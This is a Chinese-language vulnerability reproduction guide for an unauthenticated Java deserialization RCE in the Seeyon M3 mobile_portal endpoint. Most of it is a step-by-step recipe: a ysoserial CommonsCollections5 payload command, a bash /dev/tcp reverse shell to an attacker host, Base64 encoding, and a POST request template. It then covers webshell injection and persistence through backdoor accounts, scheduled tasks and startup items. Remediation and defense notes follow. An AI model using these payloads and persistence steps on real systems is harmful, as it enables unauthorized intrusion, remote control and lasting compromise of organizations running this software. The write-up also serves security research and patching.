漏洞复现--致远 M3 反序列化 mobile_portal RCE
字数 1516 2025-08-10 08:28:09
致远 M3 反序列化 mobile_portal RCE 漏洞复现与分析
漏洞概述
致远 M3 系统存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在未授权的情况下远程执行任意代码。该漏洞位于 mobile_portal 接口中,由于对用户输入的反序列化操作未进行充分的安全检查,导致攻击者能够利用 Java 反序列化机制执行恶意代码。
影响版本
- 致远 M3 多个版本(具体版本需根据漏洞披露时间确定)
漏洞原理
该漏洞属于 Java 反序列化漏洞,攻击者通过向 mobile_portal 接口发送精心构造的序列化数据,利用系统中存在的可利用的 gadget chain(利用链),最终导致远程代码执行。
环境准备
测试环境搭建
- 下载并安装受影响的致远 M3 版本
- 确保测试环境与互联网隔离
- 准备攻击机(Kali Linux 或其他渗透测试系统)
工具准备
- Java 开发环境(用于生成 payload)
- Burp Suite 或 Postman(用于发送请求)
- Ysoserial 或其他 Java 反序列化利用工具
- NC(netcat)用于反弹 shell 监听
漏洞复现步骤
1. 识别目标系统
通过以下方式识别致远 M3 系统:
- 访问
http://target_ip:port/查看系统特征 - 检查
/seeyon/路径是否存在 - 检查登录页面特征
2. 定位漏洞接口
漏洞存在于 mobile_portal 接口,可通过以下路径访问:
http://target_ip:port/seeyon/mobile_portal
3. 生成恶意序列化数据
使用 ysoserial 工具生成 payload(以 CommonsCollections 为例):
java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser
其中 "command" 替换为要执行的系统命令,如反弹 shell 命令:
bash -i >& /dev/tcp/attacker_ip/port 0>&1
4. 编码 payload
将生成的 payload.ser 文件进行 Base64 编码:
base64 -w 0 payload.ser > payload.b64
5. 构造 HTTP 请求
使用 Burp Suite 或 curl 发送恶意请求:
POST /seeyon/mobile_portal HTTP/1.1
Host: target_ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
data=[base64_encoded_payload]
6. 执行结果验证
- 检查服务器响应
- 验证命令是否执行成功(如检查反弹 shell 是否建立)
漏洞利用进阶
1. 多种 gadget chain 尝试
如果 CommonsCollections 不可用,可尝试其他 gadget chain:
- CommonsBeanutils
- Groovy
- Jdk7u21
- 等等
2. 内存马注入
通过反序列化漏洞注入内存马(如冰蝎、哥斯拉等 webshell)
3. 权限维持
- 创建后门账户
- 添加计划任务
- 写入启动项
修复建议
- 升级到官方最新版本
- 临时修复措施:
- 禁用 mobile_portal 接口
- 实施输入过滤,禁止反序列化用户可控数据
- 使用白名单机制限制可反序列化的类
- 使用 Java 安全管理器限制权限
- 更新 Commons Collections 等第三方库到最新版本
漏洞分析
漏洞代码定位
漏洞主要存在于处理 mobile_portal 请求的代码中,关键问题在于:
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
没有对反序列化的类进行任何限制,导致任意类可以被实例化。
利用链分析
典型的利用链可能包含:
- 触发点:反序列化入口
- 中间 gadget:如 Transformer 链
- 执行点:Runtime.exec() 或类似方法
防御措施
- 实施代码审计,检查所有反序列化操作
- 使用安全的替代方案(如 JSON、XML)代替 Java 序列化
- 实施网络层防护:
- WAF 规则更新
- 入侵检测系统签名更新
- 最小权限原则运行服务
法律与道德声明
此文档仅用于安全研究与教育目的。未经授权的系统测试是非法的。在进行任何安全测试前,请确保已获得系统所有者的明确授权。